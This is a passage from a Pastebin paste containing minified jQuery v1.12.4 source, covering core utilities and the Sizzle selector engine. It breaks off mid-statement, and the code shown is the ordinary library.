daily pastebin goal
38%
SHARE
TWEET

Untitled

a guest Jun 18th, 2017 740 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*! jQuery v1.12.4 | (c) jQuery Foundation | jquery.org/license */
  2. !function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="1.12.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(e.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor()},push:g,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(e=arguments[h]))for(d in e)a=g[d],c=e[d],g!==c&&(j&&c&&(n.isPlainObject(c)||(b=n.isArray(c)))?(b?(b=!1,f=a&&n.isArray(a)?a:[]):f=a&&n.isPlainObject(a)?a:{},g[d]=n.extend(j,f,c)):void 0!==c&&(g[d]=c));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray||function(a){return"array"===n.type(a)},isWindow:function(a){return null!=a&&a==a.window},isNumeric:function(a){var b=a&&a.toString();return!n.isArray(a)&&b-parseFloat(b)+1>=0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},isPlainObject:function(a){var b;if(!a||"object"!==n.type(a)||a.nodeType||n.isWindow(a))return!1;try{if(a.constructor&&!k.call(a,"constructor")&&!k.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}if(!l.ownFirst)for(b in a)return k.call(a,b);for(b in a);return void 0===b||k.call(a,b)},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?i[j.call(a)]||"object":typeof a},globalEval:function(b){b&&n.trim(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(s(a)){for(c=a.length;c>d;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):g.call(c,a)),c},inArray:function(a,b,c){var d;if(b){if(h)return h.call(b,a,c);for(d=b.length,c=c?0>c?Math.max(0,d+c):c:0;d>c;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,b){var c=+b.length,d=0,e=a.length;while(c>d)a[e++]=b[d++];if(c!==c)while(void 0!==b[d])a[e++]=b[d++];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,e,g=0,h=[];if(s(a))for(d=a.length;d>g;g++)e=b(a[g],g,c),null!=e&&h.push(e);else for(g in a)e=b(a[g],g,c),null!=e&&h.push(e);return f.apply([],h)},guid:1,proxy:function(a,b){var c,d,f;return"string"==typeof b&&(f=a[b],b=a,a=f),n.isFunction(a)?(c=e.call(arguments,2),d=function(){return a.apply(b||this,c.concat(e.call(arguments)))},d.guid=a.guid=a.guid||n.guid++,d):void 0},now:function(){return+new Date},support:l}),"function"==typeof Symbol&&(n.fn[Symbol.iterator]=c[Symbol.iterator]),n.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){i["[object "+b+"]"]=b.toLowerCase()});function s(a){var b=!!a&&"length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ga(),z=ga(),A=ga(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+M+"))|)"+L+"*\\]",O=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+N+")*)|.*)\\)|)",P=new RegExp(L+"+","g"),Q=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),R=new RegExp("^"+L+"*,"+L+"*"),S=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),T=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),U=new RegExp(O),V=new RegExp("^"+M+"$"),W={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M+"|[*])"),ATTR:new RegExp("^"+N),PSEUDO:new RegExp("^"+O),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},X=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Z=/^[^{]+\{\s*\[native \w/,$=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,_=/[+~]/,aa=/'|\\/g,ba=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),ca=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},da=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(ea){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function fa(a,b,d,e){var f,h,j,k,l,o,r,s,w=b&&b.ownerDocument,x=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==x&&9!==x&&11!==x)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==x&&(o=$.exec(a)))if(f=o[1]){if(9===x){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(w&&(j=w.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(o[2])return H.apply(d,b.getElementsByTagName(a)),d;if((f=o[3])&&c.getElementsByClassName&&b.getElementsByClassName)return H.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==x)w=b,s=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(aa,"\\$&"):b.setAttribute("id",k=u),r=g(a),h=r.length,l=V.test(k)?"#"+k:"[id='"+k+"']";while(h--)r[h]=l+" "+qa(r[h]);s=r.join(","),w=_.test(a)&&oa(b.parentNode)||b}if(s)try{return H.apply(d,w.querySelectorAll(s)),d}catch(y){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(Q,"$1"),b,d,e)}function ga(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ha(a){return a[u]=!0,a}function ia(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ja(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function ka(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function la(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function na(a){return ha(function(b){return b=+b,ha(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function oa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=fa.support={},f=fa.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=fa.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ia(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ia(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Z.test(n.getElementsByClassName),c.getById=ia(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return"undefined"!=typeof b.getElementsByClassName&&p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=Z.test(n.querySelectorAll))&&(ia(function(a){o.appendChild(a).innerHTML="<a id='"+u+"'></a><select id='"+u+"-\r\\' msallowcapture=''><option selected=''></option></select>",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ia(function(a){var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Z.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ia(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",O)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Z.test(o.compareDocumentPosition),t=b||Z.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return ka(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?ka(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},fa.matches=function(a,b){return fa(a,null,null,b)},fa.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(T,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return fa(b,n,null,[a]).length>0},fa.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},fa.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},fa.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},fa.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=fa.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=fa.selectors={cacheLength:50,createPseudo:ha,match:W,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ba,ca),a[3]=(a[3]||a[4]||a[5]||"").replace(ba,ca),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||fa.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&fa.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return W.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&U.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ba,ca).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=fa.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(P," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||fa.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ha(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ha(function(a){var b=[],c=[],d=h(a.replace(Q,"$1"));return d[u]?ha(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ha(function(a){return function(b){return fa(a,b).length>0}}),contains:ha(function(a){return a=a.replace(ba,ca),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ha(function(a){return V.test(a||"")||fa.error("unsupported lang: "+a),a=a.replace(ba,ca).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Y.test(a.nodeName)},input:function(a){return X.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:na(function(){return[0]}),last:na(function(a,b){return[b-1]}),eq:na(function(a,b,c){return[0>c?c+b:c]}),even:na(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:na(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:na(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:na(function(a,b,c){for(var d=0>c?c+b:c;++d<b;)a.push(d);return a})}},d.pseudos.nth=d.pseudos.eq;for(b in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})d.pseudos[b]=la(b);for(b in{submit:!0,reset:!0})d.pseudos[b]=ma(b);function pa(){}pa.prototype=d.filters=d.pseudos,d.setFilters=new pa,g=fa.tokenize=function(a,b){var c,e,f,g,h,i,j,k=z[a+" "];if(k)return b?0:k.slice(0);h=a,i=[],j=d.preFilter;while(h){c&&!(e=R.exec(h))||(e&&(h=h.slice(e[0].length)||h),i.push(f=[])),c=!1,(e=S.exec(h))&&(c=e.shift(),f.push({value:c,type:e[0].replace(Q," ")}),h=h.slice(c.length));for(g in d.filter)!(e=W[g].exec(h))||j[g]&&!(e=j[g](e))||(c=e.shift(),f.push({value:c,type:g,matches:e}),h=h.slice(c.length));if(!c)break}return b?h.length:h?fa.error(a):z(a,i).slice(0)};function qa(a){for(var b=0,c=a.length,d="";c>b;b++)d+=a[b].value;return d}function ra(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j,k=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(j=b[u]||(b[u]={}),i=j[b.uniqueID]||(j[b.uniqueID]={}),(h=i[d])&&h[0]===w&&h[1]===f)return k[2]=h[2];if(i[d]=k,k[2]=a(b,c,g))return!0}}}function sa(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ta(a,b,c){for(var d=0,e=b.length;e>d;d++)fa(a,b[d],c);return c}function ua(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(c&&!c(f,d,e)||(g.push(f),j&&b.push(h)));return g}function va(a,b,c,d,e,f){return d&&!d[u]&&(d=va(d)),e&&!e[u]&&(e=va(e,f)),ha(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ta(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:ua(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=ua(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=ua(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function wa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ra(function(a){return a===b},h,!0),l=ra(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[ra(sa(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return va(i>1&&sa(m),i>1&&qa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(Q,"$1"),c,e>i&&wa(a.slice(i,e)),f>e&&wa(a=a.slice(e)),f>e&&qa(a))}m.push(c)}return sa(m)}function xa(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=F.call(i));u=ua(u)}H.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&fa.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ha(f):f}return h=fa.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=wa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,xa(e,d)),f.selector=a}return f},i=fa.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ba,ca),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=W.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ba,ca),_.test(j[0].type)&&oa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&qa(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,!b||_.test(a)&&oa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ia(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ia(function(a){return a.innerHTML="<a href='#'></a>","#"===a.firstChild.getAttribute("href")})||ja("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ia(function(a){return a.innerHTML="<input/>",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ja("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ia(function(a){return null==a.getAttribute("disabled")})||ja(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),fa}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.uniqueSort=n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},v=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},w=n.expr.match.needsContext,x=/^<([\w-]+)\s*\/?>(?:<\/\1>|)$/,y=/^.[^:#\[\.,]*$/;function z(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(y.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return n.inArray(a,b)>-1!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=[],d=this,e=d.length;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;e>b;b++)if(n.contains(d[b],this))return!0}));for(b=0;e>b;b++)n.find(a,d[b],c);return c=this.pushStack(e>1?n.unique(c):c),c.selector=this.selector?this.selector+" "+a:a,c},filter:function(a){return this.pushStack(z(this,a||[],!1))},not:function(a){return this.pushStack(z(this,a||[],!0))},is:function(a){return!!z(this,"string"==typeof a&&w.test(a)?n(a):a||[],!1).length}});var A,B=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,C=n.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||A,"string"==typeof a){if(e="<"===a.charAt(0)&&">"===a.charAt(a.length-1)&&a.length>=3?[null,a,null]:B.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),x.test(e[1])&&n.isPlainObject(b))for(e in b)n.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}if(f=d.getElementById(e[2]),f&&f.parentNode){if(f.id!==e[2])return A.find(a);this.length=1,this[0]=f}return this.context=d,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof c.ready?c.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};C.prototype=n.fn,A=n(d);var 